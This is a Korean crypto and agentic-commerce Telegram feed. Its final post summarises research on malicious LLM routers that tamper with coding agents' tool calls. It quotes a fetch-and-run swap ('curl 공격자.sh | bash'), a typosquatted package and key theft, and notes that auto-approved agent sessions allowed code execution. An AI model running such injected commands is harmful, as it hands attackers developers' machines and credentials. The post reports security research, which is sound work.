엄선된 준의 식견
748 subscribers
506 photos
7 videos
7 files
505 links
에이전틱 커머스 붐은 온다

본 방에 게재된 견해는 제 개인 의견이며, 제가 속해있는 직장의 의견 혹은 입장을 대변하지 않습니다.

X: https://x.com/Jun__Yoo
Download Telegram
3. 이러한 관점을 담아서 저번주 금요일에 글을 작성해봤었는데 한번 읽어보시고 자유롭게 의견 주셔도 좋을것같습니다! 토론은 언제나 환영입니다!!
👍2
: : [코멘트] 카카오페이의 x402 재단 합류가 주는 시사점
작성자: 준

카카오페이의 x402 재단 합류는 4,900만 카카오톡 사용자와 AI 에이전트 인프라 위에 스테이블코인 결제 레일을 얹어 에이전틱 커머스의 대규모 실현 가능성을 여는 신호이며, 동시에 에이전트 간 초소액 결제라는 사용처를 선점해 원화 스테이블코인 경쟁에서 구조적 우위를 확보하려는 포석으로도 읽힌다.


🌎 코멘트 전문 (X / 웹사이트)

FP Website | Telegram (EN / KR) | X (EN / KR)
Please open Telegram to view this post
VIEW IN TELEGRAM
4👍2
클라우드플레어의 Pay-per-crawl 모델에 대해 알고계시나요? 현재 클로즈베타로 여러분이 생각하시는 그대로 에이전트가 크롤링할 때 비용을 지불해야 콘텐츠에 접근할 수 있는 구조입니다. 저는 도입 배경에 아래 네러티브가 어느정도 작용했다고 생각합니다.

[2025.08] - 클라우드플레어가 퍼플렉시티의 스텔스 크롤러를 공개 저격 [링크]

[2025.08] - 퍼플렉시티는 자사 서비스가 크롤러가 아닌 '유저 주도 에이전트'이며, 해당 블로그 포스트는 차단 제품 홍보에 불과하다고 반박. (즉 너네는 우리가 봇을 우회했다고 말하는데 우린 '에이전트'다. 봇 != 에이전트) [링크]

[2025.08] - Balaji(@balajis)도 "AI 에이전트는 인간의 연장선이므로 봇 취급하면 안 된다"며 퍼플렉시티 편을 듦 [링크]

[2025.09] - 클라우드플레어가 코인베이스와 x402 재단 설립 및 'Pay per Crawl' 모델 발표 [링크]


물론 지금은 x402 재단이 리눅스 재단 산하로 들어가며 훨씬 큰 그림이 됐지만, 개인적으로는 클라우드플레어가 퍼플렉시티 사례를 통해 '에이전트'라는 이름으로 콘텐츠를 무단 수집하는 케이스를 미리 경험하고, 그 해결책으로 402 기반 Pay-per-crawl 모델을 고안하고 재단 설립까지 주도한 게 아닌가 싶습니다.. 조금 오래된 케이스이긴 한데, 이런 흐름이 있었구나 정도로 가볍게 보시면 좋을 것 같습니다.
👍3
13시간 전 A1 Resaerch에서 에이전틱 페이먼트를 다루는 리포트가 나왔습니다 [링크]

기존 리서치와 크게 차별화되는 점은 없었지만, 몇 가지 인상 깊은 구절이 있어 발췌해 보았습니다.

하십(Hasseb)의 표현이 올바르다: 오늘 똑똑한 사람들이 주말과 저녁에 하는 일을, 10년 후에는 모두가 하게 될 것이다. 하지만 냉혹한 현실이 있다. 기술의 방향성에 대해 맞으면서 타임라인에 대해 틀리면 경제적으로 틀린 것이다. [링크]


마우스는 1964년에 발명되었다. 그것이 이끈 GUI 혁명은 실재했다. 하지만 돈을 번 사람들은 마우스에 투자한 사람들이 아니었다.

x402는 결제의 TCP/IP일 수 있다: 자신이 동력을 제공하는 경제에 막대한 가치를 창출하면서 자체 "주주"(존재하지도 않지만)를 위한 가치는 제로인 개방형 프로토콜.


최종 게임이 에이전트가 돈을 관리하는 것이지 단순히 쓰는 것이 아니라면, 결제 레일은 쐐기(wedge)이지 목적지가 아니다. 에이전트 아이덴티티, 평판, 신뢰 인프라를 통제하는 기업들(어떤 에이전트가 당신을 대신하여 자산을 관리할 권한이 있는지를 결정하는 레이어들)이 기저의 트랜잭션을 처리하는 누구보다 더 큰 최종 가치(terminal value)를 포획할 수 있다.
5
컴퓨터 마우스 발명가에 대해 궁금해서 찾아보니..

컴퓨터 마우스의 발명가는 더글러스 엥겔바트(Douglas Engelbart)입니다.

엥겔바트는 1963년에 마우스의 원형을 만들고 1967년에 특허를 출원했는데, 안타깝게도 이 발명으로 거의 돈을 벌지 못했습니다. 특허는 당시 그가 소속된 스탠퍼드 연구소(SRI)에 귀속되었고, SRI가 이후 애플에 약 4만 달러 정도에 라이선스를 넘긴 것으로 알려져 있습니다. 엥겔바트 본인에게 돌아간 로열티는 사실상 없었습니다. 게다가 마우스가 본격적으로 상용화된 1980년대 중반(애플 매킨토시 등)에는 이미 특허 기간(당시 17년)이 만료된 상태였기 때문에, 마우스 시장이 폭발적으로 성장한 시기에는 특허 보호 자체가 없었습니다.

(GUI도 이분이 개발하셨다고하네요..)
오늘 NYT에서 나온 기사인데, 조사보도 기자 John Carreyrou가 1년간 취재한 끝에 비트코인 창시자 사토시 나카모토가 Adam Back이라고 주장하는 장문의 탐사보도입니다. 그냥 재미로 보셔도 좋을 것 같습니다 ㅎㅎ

• 사이퍼펑크 메일링 리스트(1997~1999)에서 Adam Back이 비트코인의 거의 모든 핵심 설계 요소(분산 네트워크, 프라이버시, 희소성, Hashcash+b-money 결합, 난이도 조정, 타임스탬프)를 비트코인 출시 10년 전에 이미 제안했다는 점을 근거로 제시

• 사토시가 활동하던 2008~2011년 동안 Back은 암호학 메일링 리스트에서 완전히 사라졌다가, 사토시가 은퇴한 직후(2011년 6월)부터 비트코인 커뮤니티에 등장 — 정확히 역순 패턴

• 문체 분석에서 Back이 유일한 최종 후보로 남음: 3만 4천 명의 메일링 리스트 사용자를 영국식 철자, 하이픈 오류, "it's/its" 혼용, "proof-of-work" 하이픈 표기, "partial pre-image" 등 사토시 특유의 문법 습관으로 필터링한 결과 Back 한 명만 모든 조건 충족

• Back이 사토시로부터 받았다고 제출한 2008년 이메일의 메타데이터 제공을 거부했고, 대면 인터뷰에서 "I'm better with code than with words"라는 사토시 인용문에 대해 마치 본인이 쓴 것처럼 반응하는 슬립이 포착됨

• Back은 수차례 사토시임을 부인했지만, "Clearly I'm not Satoshi, that's my position"이라는 표현처럼 사실 진술보다는 수사적 입장에 가까운 부인이었고, 결정적 반증(코인 이동 등)은 제시하지 못함
글을 보다 보니 작년 재작년 사토시 나카모토가 누군지 ABC? HBO 특집 방송 기반으로 미처 날뛰었던 밈코인장이 생각나네요
👍1
일본의 제3 야당(의석 비율 6%)인 국민민주당(여당의 과반 붕괴로 어느정도 정책 주도권을 쥐고 있는 당이라고 합니다)의 다마키 유이치로 대표의 web3 관련 발표가 오늘 있었다는데 별 내용은 없고 마지막 문장이 흥미롭네요. [출처]

• 암호자산대신 '디지털 자산'으로 명칭 변경
• 2028년부터 분리과세 적용은 너무 늦음
• 개인적으로 주목하고 있는 것은 '하이퍼리퀴드'


당 대표의 입에서 하이퍼리퀴드라는 말이 나오는게 신기하기도 하고, 또 너야 하이퍼리퀴드?
3
11분전 따끈따끈한 리포트가 나왔네요

리눅스 재단에서 'Open Source and the Future of AI'라는 리포트를 발간했습니다! 26년 2월에 있던 포럼의 토론 기반으로 작성했다고 합니다. 시간 들여서 전문(26p 분량) 읽어보셔도 좋을 것 같습니다!

곧 전문을 읽어볼 예정이지만, AI 통해서 핵심 내용만 뽑아봤습니다.

개발자 역할 변화: 코딩 AI가 인간보다 빠르고 정확해지면서, 프로그래머는 구현자가 아닌 문제 정의·품질 판단을 담당하는 "architect/taste maker"로 전환 중. 인력 감축이 아닌 생산성 폭발로 귀결될 전망.

에이전트 신뢰·신원 체계 공백: 에이전트 간 통신에 인증·암호화 등 기본 보안이 거의 없고, 행동 책임에 대한 법적 선례도 부재. 표준 없이는 벤더 거부·생태계 파편화 위험.

규제 산업 도입의 전제조건: 에이전트 자동화 전에 암묵적 업무 프로세스의 체계적 문서화가 선행되어야 하며, 최종 의사결정 책임은 반드시 인간이 보유해야 함.

오픈소스 = 에이전틱 AI의 컨트롤 플레인: MCP·PyTorch·Kubernetes·Ray·Goose 5대 프로젝트가 엔터프라이즈 AI 인프라의 핵심. 벤더 종속 방지, 보안 감사, 워크플로 커스터마이징에 필수.

추론 과정(reasoning trace) 감사가 핵심: 블랙박스 출력만 검증하는 건 불충분. 오픈 모델은 내부 의사결정 경로를 투명하게 검사 가능해, 프로프라이어터리 대비 엔터프라이즈 신뢰 확보에 유리.
4
하나 더 있습니다! 29분전 따끈따끈하게, Franklin Templeton, Virtual, PL Capital 등에서 투자받은 t54.ai에서 Agentic Risk Standard (ARS)를 발표했네요

앞선 리눅스 재단 보고서 포스팅에서도 언급했듯이, 신뢰 및 인증 체계는 에이전틱 커머스의 가장 큰 숙제라고 생각합니다. t54.ai는 이러한 숙제를 해결하는 주된 플레이어 중 하나라고 생각해왔었는데, 조만간 해체분석하고 정리해보겠습니다!
👍1
ARS에 대한 자세한 내용은 Quantifying Trust: Financial Risk Management for Trustworthy AI Agents라는 페이퍼에 30pg 분량으로 자세히 정리되어있네요. 구글 딥마인드, 마이크로소프트, 컬럼비아, 버츄얼스가 같이 작성했습니다. 간략하게 훑어보자면

[문제 상황]
모델 정렬(alignment)이 아무리 좋아도 LLM은 본질적으로 확률적(stochastic)이라 실패 가능성을 0으로 만들 수 없는데, 이 "실패했을 때 누가 책임지고 어떻게 보상하는가"에 대한 정산(settlement) 레이어가 없다 (보험이 없다)


[해법]
전통 금융의 리스크 배분 메커니즘(에스크로, 담보, 보험, 청산소)을 에이전트 거래에 그대로 적용

Fee Track (수수료): 에스크로 방식. 결과 검증 후에만 에이전트에게 수수료 지급.

Principal Track (원금): 트레이딩처럼 실행 전에 자금이 나가야 하는 경우, 언더라이터가 리스크를 평가·가격화(premium Π)하고, 에이전트에게 담보(collateral D)를 요구. 실패 시 보상 의무를 짐.


[드는 생각]
버츄얼스의 ERC-8183이 떠오르는 에스크로 기반 방식

• 언더라이터쪽 메커니즘이 상당히 궁금해지네요, 언더라이터같은 평가자가 (1) 결탁을 하거나 (2) malicious한 행동을 하는 경우를 어떻게 해결하는지가 이러한 방식의 키포인트라고 생각하는데 한번 살펴봐야겠습니다
👍2
Forwarded from 캘빈의 감금원
ERC-8211: Biconomy와 이더리움 재단이 공동 개발한 온체인 에이전트를 위한 Smart Batch 실행 표준

현재 이더리움의 배치 실행(ERC-4337, EIP-5792)은 서명 시점에 모든 파라미터가 고정되는 정적 구조를 갖습니다. 그래서 스왑 후 받은 토큰을 즉시 렌딩에 넣고 싶어도, 슬리피지로 실제 수령액이 달라지면 트랜잭션이 리버트되거나 잔액이 남는 문제가 있었고, 이를 위해 별도로 우회 방법을 구현하곤 했습니다. ERC-8211은 실행 시점에 값을 결정하고, 조건을 검증하는 방식으로 바꾸려는 시도입니다.

구성요소는 아래와 같습니다.

• Fetcher: 실행 시점에 온체인 상태(잔액, 오라클 가격 등)를 읽어서 calldata에 주입
• Constraint: resolve된 값에 최소/최대 조건을 걸어 불충족 시 revert
• Predicate: 특정 온체인 조건이 참이 될 때까지 실행 대기

이를 통해 멀티스텝/크로스체인 디파이 전략을 별도 컨트랙트 배포 없이 TypeScript SDK로 작성하고, 서명 한 번으로 실행할 수 있게 됩니다.

딱히 에이전트만을 위한 표준은 아닌 것 같은데, 그냥 온체인 전략을 에이전트가 더 친숙한 TS로 짤 수 있게 해줘서 그런 것 같네요.

https://x.com/biconomy/status/2041516284635120108?s=20
: : FP Validated가 칸톤의 밸리데이터 오퍼레이터로 참여합니다!

Canton은 Visa, DTCC, Nasdaq 등 글로벌 금융기관들이 참여하고 있는 프라이버시 중심의 퍼블릭 블록체인으로, 기관급 토큰화 인프라를 구축하고 있습니다.

저희는 Canton 생태계의 참여자로서, 기관 투자자를 위한 전문 리서치와 실질적인 인사이트를 제공하며 생태계 성장에 기여해 나가겠습니다.

📱 X 공지

FP Website | Telegram (EN / KR) | X (EN / KR)
Please open Telegram to view this post
VIEW IN TELEGRAM
5
x402의 upto 빌링 방식이 8시간 전 공개되었습니다 [링크].

3월 18일, ERC-20 Support 발표때 이미 도입이 예고된 방식이었습니다.

upto를 사용하면, 클라이언트가 최대 금액을 승인하고, 서버는 요청 종료 시 실제 사용된 금액만큼 정산됩니다.

이제 작년 9월 클라우드플레어가 x402 재단 설립과 함께 제안한 Deffered 방식정도가 남았네요.

Deffered 방식은 후불 청구서(후불+배치 청산) 방식으로, 서버는 사용량을 로그로 쌓아두고, 실제 정산은 배치 형식으로 한꺼번에 청구되는 구조입니다. 도입은 아직 인프라 문제로 쉽지 않아 보이긴합니다.
1
디퍼하니 스포츠역사상 최고의 선수 GOAT 쇼헤이 오타니가 떠오르네요
1
코인베이스에서 AI Products 어드바이저로 일하는 이 친구가 에이전트 투기장을 만들어왔네요.

사이트는 tradingarena.xyz로 로직도 간단합니다:

• 영어로 전략 작성(프롬프트)
• 모델 선택
• 리스크 한도 설정
• 24/7 거래 지켜보고 리더보드에서 경쟁


(1) 아직 에이전트는 29개
(2) 트레이딩하는 에이전트도 18개밖에 없을 뿐더러
(3) 코인베이스 계정이 필요하고
(4) 개발자도 실험적인 프러덕트라고 말한 만큼..

재미로 넘기시거나 등등 알아서 잘 보고 넘기시면 될 것 같습니다.
🔥2
26 LLM routers are secretly injecting malicious tool calls and stealing creds. One drained our client $500k wallet. We also managed to poison routers to forward traffic to us. Within several hours, we can directly take over ~400 hosts. Check our paper: https://arxiv.org/abs/2604.08407

출처
• LLM 에이전트(Claude Code, Codex 등)는 OpenAI/Anthropic에 바로 붙지 않고 중간에 "LLM 라우터"라는 중개 서버를 끼워 쓰는 경우가 많은데(예로 들어 OpenRouter)

• 이 라우터는 요청·응답 JSON을 전부 평문으로 읽고 고칠 수 있는 합법적 중간자이지만, 모델이 실제로 뱉은 답과 클라이언트가 받는 답을 묶어주는 무결성 검증이 어디에도 없다고 합니다.

• 그래서 악성 라우터는 모델이 돌려준 curl 정상.sh | bash를 curl 공격자.sh | bash로 슬쩍 바꿔치거나, pip install requests를 타이포스쿼팅 패키지 reqeusts로 바꿔서 에이전트가 그대로 실행하게 만들 수 있다고 합니다(일종의 MITM 방식?)

• 또 다른 수법은 그냥 지나가는 트래픽에서 API 키, AWS 키, 이더리움 프라이빗 키를 조용히 긁어가는 건데, 연구진이 타오바오나 커뮤니티에서 긁어온 라우터 428개를 테스트해보니 9개가 실제로 악성 코드를 주입하고 있었고 1개는 연구진이 심어둔 이더리움 키를 보고 지갑을 그대로 드레인했다(질문한 그 부분, 실제 손실은 $50 미만 PoC 규모).

• 더 무서운 건 포이즈닝 실험인데, OpenAI 키 하나를 일부러 중국 커뮤니티에 흘렸더니 1억 토큰이 돌아갔고, 약한 디코이 라우터엔 440개 Codex 세션 중 401개가 이미 YOLO 모드(툴 자동 승인)라 정교한 트릭도 필요 없이 단순 주입만으로 남의 개발자 머신에서 임의 코드 실행이 가능한 상태였다고 합니다

• LLM 공급망에서의 MITM 공격은 언젠가 누가 파겠거니 했는데, 마침 제대로 측정한 연구가 나왔네요

• 포이즈닝 실험 파트를 보면 트위터에 시드 구문 뿌려놓고 "이 돈 가져가주세요" 하던 허니팟 공격이 자연스럽게 겹쳐 떠오르는..
2👍1